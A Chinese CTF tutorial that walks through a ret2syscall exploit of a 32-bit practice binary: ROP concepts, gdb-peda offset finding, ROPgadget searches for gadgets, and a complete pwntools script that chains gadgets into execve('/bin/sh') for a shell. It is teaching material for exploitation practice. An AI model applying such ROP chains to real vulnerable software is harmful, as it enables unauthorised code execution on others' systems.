前置知识
1、rop:在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
2、gadgets:在程序中的指令片段,有时我们为了达到我们执行命令的目的,需要多个gadget来完成我们的功能。gadget最后一般都有ret,因为我们需要将程序控制权(EIP)给下一个gadget。即让程序自动持续的选择堆栈中的指令依次执行。
3、ropgadgets:一个pwntools的一个命令行工具,用来具体寻找gadgets的。例如:我们从pop、ret序列当中寻找其中的eax
ROPgadget —binary ./7.exe —only “pop|ret” | grep “eax”
4、在linux系统中,函数的调用是有一个系统调用号的。我们实验要调用的execve(“/bin/sh”,null,null)函数其系统调用号是11,即十六进制0xb。
原理
ret2syscall,即控制程序执行系统调用,获取 shell
1、计算字符串存储开始的地方到EBP之间的长度。
2、用某个字符填充这一段内存。
3、找到系统调用的地址 (int 80)
4、找到系统调用需要的参数,我们分别需要控制eax,ebx,ecx,edx这4个寄存器
5、找到相应的gadget,即pop..ret的地址、“/bin/sh”的地址
6、触发 0x80 号中断(int 0x80)
例题
链接: https://pan.baidu.com/s/1rUfgTcNlQihPsRSv4IMk9g 密码: ijbi
checksec 看一下保护机制
~/pwn$ checksec ret2syscall
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看出32位并已经开启了NX保护
打开IDA查看原码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
看到代码后发现没有system与sellcode也就是说我们之前学到的 ret2text 和 ret2shellcode 的套路不能在这个题目中用了。
但是看到gets()函数说明还是有栈溢出的,这里便是另一种栈溢出方法。
确定v4是一个溢出变量,计算偏移。
0x1 gdb peda调试
1、gdb ret2syscall //gdb载入该文件
@ubuntu:~/pwn$ gdb.sh ret2syscall
我有.sh原因是使用虚拟机插件导致,可以忽略。
2、pattern create 200 //制造200个填充字符(多少字符都行)
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
3、执行 r
或者 start
命令让程序运行。//注意 start
命令执行后,还需执行 contin
命令。
r后把程序跑起来,将第二步生成的字符串输入,发现程序在0x41384141
坏掉了。
gdb-peda$ r
Starting program: /home/seey0u/pwn/ret2syscall
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x80481a8 (<_init>: push ebx)
ECX: 0xfbad2288
EDX: 0x80eb4e0 --> 0x0
ESI: 0x0
EDI: 0x80ea00c --> 0x8065cb0 (<__stpcpy_ssse3>: mov edx,DWORD PTR [esp+0x4])
EBP: 0x6941414d ('MAAi')
ESP: 0xffffcfd0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffcfd0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffcfd4 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffcfd8 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffcfdc ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffcfe0 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffcfe4 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffcfe8 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffcfec ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
4、pattern offset 地址 //确定偏移
gdb-peda$ pattern offset 0x41384141
1094205761 found at offset: 112
0x2 如何构造
由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。
构造思路是把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve(“/bin/sh”,NULL,NULL)
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
这里就需要使用 gadgets,具体寻找 gadgets 的方法,我们可以使用 ropgadget 这个工具
0x3 ROPgadget使用
1.eax
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
@ubuntu:~/pwn$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
2.ebx
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
@ubuntu:~/pwn$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
这里我们选择可以同时控制ebx,ecx,edx的地址
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
3.寻找int 0x80
ROPgadget --binary ret2syscall --only 'int'
@ubuntu:~/pwn$ ROPgadget --binary ret2syscall --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
Unique gadgets found: 1
4.寻找/bin/sh
ROPgadget --binary ret2syscall --string '/bin/sh'
@ubuntu:~/pwn$ ROPgadget --binary ret2syscall --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
exp
分享一个大师傅的exp写法
https://www.wangan.com/docs/907
from pwn import *
sh = process('./ret2syscall')
pop_edx_ecx_ebx = 0x0806eb90
binbash = 0x080be408
pop_eax = 0x080bb196
int_0x80 = 0x08049421
payload = flat(['A' * 112, pop_edx_ecx_ebx, 0, 0, binbash, pop_eax, 0xb, int_0x80])
sh.sendline(payload)
sh.interactive()
flat 函数的用法是 Flattens the arguments into a string.
也就是拼接字符串。
例如
$ flat([1,2,3])
$ b’\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00’
溢出后的栈空间
| 0x80 int 0x80 execve| <--- in 0x80 触发execve 高地址
| 0xb used pop to eax | <--- esp2
| pop eax and ret | <--- eip2
| "/bin/sh" point ebx |
| 0 use to pop to ecx |
| 0 use to pop to edx | <--- esp1
| pop_edx_ecx_ebx_ret | <--- eip1
| AAAA origional ebp | <--- ebp
| AAA...AAA buf | 原先的栈空间 <--- esp 低地址
参考
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/
https://www.wangan.com/docs/907
AnM1a0